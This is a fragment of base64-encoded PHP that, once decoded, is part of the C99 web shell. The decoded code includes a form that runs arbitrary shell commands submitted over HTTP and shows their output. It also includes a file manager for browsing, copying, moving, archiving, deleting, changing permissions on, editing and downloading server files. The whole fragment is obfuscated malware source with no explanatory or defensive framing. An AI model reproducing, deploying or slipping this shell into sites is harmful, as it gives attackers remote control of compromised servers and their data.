XNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQogaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9CiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpCiB7CiAgJHBzdGVyciA9ICIiOwogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19jb3B5X29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30KICB9CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpCiAgewogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7CiAgIGlmICghZnNfbW92ZV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7CiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQogICRhY3QgPSAibHMiOwogfQogZWxzZWlmICgkYWN0YXJjYnVmZikKIHsKICAkYXJjZXJyID0gIiI7CiAgaWYgKHN1YnN0cigkYWN0YXJjYnVmZl9wYXRoLC03LDcpID09ICIudGFyLmd6IikgeyRleHQgPSAiLnRhci5neiI7fQogIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQogIGlmICgkZXh0ID09ICIudGFyLmd6IikgeyRjbWRsaW5lID0gInRhciBjZnp2Ijt9CiAgJGNtZGxpbmUgLj0gIiAiLiRhY3RhcmNidWZmX3BhdGg7CiAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOwogIGZvcmVhY2goJG9iamVjdHMgYXMgJHYpCiAgewogICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7CiAgIGlmIChzdWJzdHIoJHYsMCxzdHJsZW4oJGQpKSA9PSAkZCkgeyR2ID0gYmFzZW5hbWUoJHYpO30KICAgaWYgKGlzX2RpcigkdikpCiAgIHsKICAgIGlmIChzdWJzdHIoJHYsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICR2IC49ICIqIjsKICAgfQogICAkY21kbGluZSAuPSAiICIuJHY7CiAgfQogICR0bXAgPSByZWFscGF0aCgiLiIpOwogIGNoZGlyKCRkKTsKICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZGxpbmUpOwogIGNoZGlyKCR0bXApOwogIGlmIChlbXB0eSgkcmV0KSkgeyRhcmNlcnIgLj0gIkNhbid0IGNhbGwgYXJjaGl2YXRvciAoIi5odG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRsaW5lLDYwKSkuIikhPGJyPiI7fQogICRyZXQgPSBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkcmV0KTsKICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogIGlmICgkY29weV91bnNldCkge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpCiAgewogICBpZiAoaW5fYXJyYXkoJHYsJHJldCkpIHtmc19ybW9iaigkdik7fQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7CiAgaWYgKCFlbXB0eSgkYXJjZXJyKSkge2VjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIuJGFyY2Vycjt9CiAgJGFjdCA9ICJscyI7CiB9CiBlbHNlaWYgKCRhY3RwYXN0ZWJ1ZmYpCiB7CiAgJHBzdGVyciA9ICIiOwogIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19jb3B5X29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQogIH0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19tb3ZlX29iaigkdiwkZCkpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICB9CiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30KICAkYWN0ID0gImxzIjsKIH0KfQppZiAoJGFjdCA9PSAiY21kIikKewppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQplbHNlaWYgKHRyaW0oJGNtZCkgPT0gInRhc2tsaXN0IikgeyRhY3QgPSAicHJvY2Vzc2VzIjt9CmVsc2UKewogQGNoZGlyKCRjaGRpcik7CiBpZiAoIWVtcHR5KCRzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBjb21tYW5kPC9iPjo8YnI+IjsKICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICBAY2hkaXIoJGQpOwogICRyZXQgPSBteXNoZWxsZXhlYygkY21kKTsKICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgaWYgKCRjbWRfdHh0KQogIHsKICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsKICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOwogIH0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30KICBAY2hkaXIoJG9sZGRpcik7CiB9CiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOyBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO319CiBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjx0ZXh0YXJlYSBuYW1lPWNtZCBjb2xzPTEyMiByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRjbWRfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gImxzIikKewogaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9CiBlbHNlCiB7CiAgJGxpc3QgPSBhcnJheSgpOwogIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkKICB7CiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30KICAgY2xvc2VkaXIoJGgpOwogIH0KICBlbHNlIHt9CiB9CiBpZiAoY291bnQoJGxpc3QpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVyICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvYj48L2NlbnRlcj4iO30KIGVsc2UKIHsKICAvL0J1aWxkaW5nIGFycmF5CiAgJG9iamVjdHMgPSBhcnJheSgpOwogICR2ZCA9ICJmIjsgLy9WaWV3aW5nIG1vZGUKICBpZiAoJHZkID09ICJmIikKICB7CiAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOwogICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOwogICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7CiAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQogICB7CiAgICAkbyA9IGJhc2VuYW1lKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQogICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJMSU5LIjt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpCiAgICB7CiAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQogICAgIGVsc2UgeyR0eXBlID0gIkRJUiI7fQogICAgICRyb3dbXSA9ICR2OwogICAgICRyb3dbXSA9ICR0eXBlOwogICAgfQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9CiAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOwogICAgaWYgKCEkd2luKQogICAgewogICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOwogICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOwogICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJHYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkdikpOwogICAgfQogICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsKICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskb2JqZWN0c1sibGlua3MiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9CiAgICAkaSsrOwogICB9CiAgICRyb3cgPSBhcnJheSgpOwogICAkcm93W10gPSAiPGI+TmFtZTwvYj4iOwogICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOwogICAkcm93W10gPSAiPGI+TW9kaWZ5PC9iPiI7CiAgIGlmICghJHdpbikKICB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQogICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsKICAgJHJvd1tdID0gIjxiPkFjdGlvbjwvYj4iOwogICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsKICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07CiAgICRrID0gJHBhcnNlc29ydFswXTsKICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9CiAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOwogICAkeSAuPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7CiAgICRyb3dbJGtdIC49ICR5OwogICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspCiAgIHsKICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQogICB9CiAgICR2ID0gJHBhcnNlc29ydFswXTsKICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsKICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7CiAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOwogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpCiAgIHsKICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOwogICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsKICAgfQogICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sJG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlua3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7CiAgICR0YWIgPSBhcnJheSgpOwogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsKICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsKICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7CiAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOwogICAkaSA9IDA7CiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQogICB7CiAgICAkdiA9ICRhWzBdOwogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkZGlyID0gZGlybmFtZSgkdik7CiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9CiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9CiAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOwogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQogICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikKICAgIHsKICAgICBpZiAoZXJlZygkclswXSwkbykpCiAgICAgewogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTlzaGV4aXQoKTt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7CiAgICAgICAkaXNkaXIgPSBpc19kaXIoJHYpOwogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkKICAgICAgIHsKICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsKICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9CiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOwogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOwogICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIuIikKICAgIHsKICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOwogICAgICRyb3dbXSA9ICJMSU5LIjsKICAgIH0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikKICAgIHsKICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsKICAgICAkcm93W10gPSAiTElOSyI7CiAgICB9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpCiAgICB7CiAgICAgaWYgKGlzX2xpbmsoJHYpKQogICAgIHsKICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7CiAgICAgICR0eXBlID0gIkxJTksiOwogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgIH0KICAgICBlbHNlCiAgICAgewogICAgICAkdHlwZSA9ICJESVIiOwogICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c21hbGxfZGlyXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7CiAgICAgIH0KICAgICAkcm93W10gPSAkdHlwZTsKICAgIH0KICAgIGVsc2VpZihpc19maWxlKCR2KSkKICAgIHsKICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOwogICAgICRjID0gY291bnQoJGV4dCktMTsKICAgICAkZXh0ID0gJGV4dFskY107CiAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7CiAgICAgJHJvd1tdID0gICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmQ9Ii4kdWQuIiZcIj4iLiRkaXNwcGF0aC4iPC9hPiI7CiAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsKICAgIH0KICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7CiAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9CiAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIuJHVvLiImZD0iLiR1ZC4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCR2KS4iPC9iPjwvYT4iOwogICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9CiAgICBlbHNlIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIGlkPVwiYWN0Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30KICAgIGlmIChpc19kaXIoJHYpKSB7JHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZCZkPSIuJHV2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiLiRjaGVja2JveDt9CiAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZnQ9ZWRpdCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1kb3dubG9hZCZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYWx0PVwiRG93bmxvYWRcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30KICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskdGFiWyJoZWFkIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyR0YWJbImxpbmtzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30KICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30KICAgICRpKys7CiAgIH0KICB9CiAgLy8gQ29tcGlsaW5nIHRhYmxlCiAgJHRhYmxlID0gYXJyYXlfbWVyZ2UoJHRhYlsiY29scyJdLCR0YWJbImhlYWQiXSwkdGFiWyJmb2xkZXJzIl0sJHRhYlsibGlua3MiXSwkdGFiWyJmaWxlcyJdKTsKICBlY2hvICI8Y2VudGVyPjxiPkxpc3RpbmcgZm9sZGVyICgiLmNvdW50KCR0YWJbImZpbGVzIl0pLiIgZmlsZXMgYW5kICIuKGNvdW50KCR0YWJbImZvbGRlcnMiXSkrY291bnQoJHRhYlsibGlua3MiXSkpLiIgZm9sZGVycyk6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMzMyBib3JkZXI9MD48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVCBuYW1lPVwibHNfZm9ybVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iLiRkc3BhY3QuIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iOwogIGZvcmVhY2goJHRhYmxlIGFzICRyb3cpCiAgewogICBlY2hvICI8dHI+XHJcbiI7CiAgIGZvcmVhY2goJHJvdyBhcyAkdikge2VjaG8gIjx0ZD4iLiR2LiI8L3RkPlxyXG4iO30KICAgZWNobyAiPC90cj5cclxuIjsKICB9CiAgZWNobyAiPC90YWJsZT48aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxwIGFsaWduPVwicmlnaHRcIj4KICA8c2NyaXB0PgogIGZ1bmN0aW9uIGxzX3NldGNoZWNrYm94YWxsKHN0YXR1cykKICB7CiAgIHZhciBpZCA9IDE7CiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7CiAgIHdoaWxlIChpZCA8PSBudW0pCiAgIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOwogICAgaWQrKzsKICAgfQogIH0KICBmdW5jdGlvbiBsc19yZXZlcnNlX2FsbCgpCiAgewogICB2YXIgaWQgPSAxOwogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOwogICB3aGlsZSAoaWQgPD0gbnVtKQogICB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsKICAgIGlkKys7CiAgIH0KICB9CiAgPC9zY3JpcHQ+CiAgPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+IAogIDxiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7CiAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKQogIHsKICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBhc3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5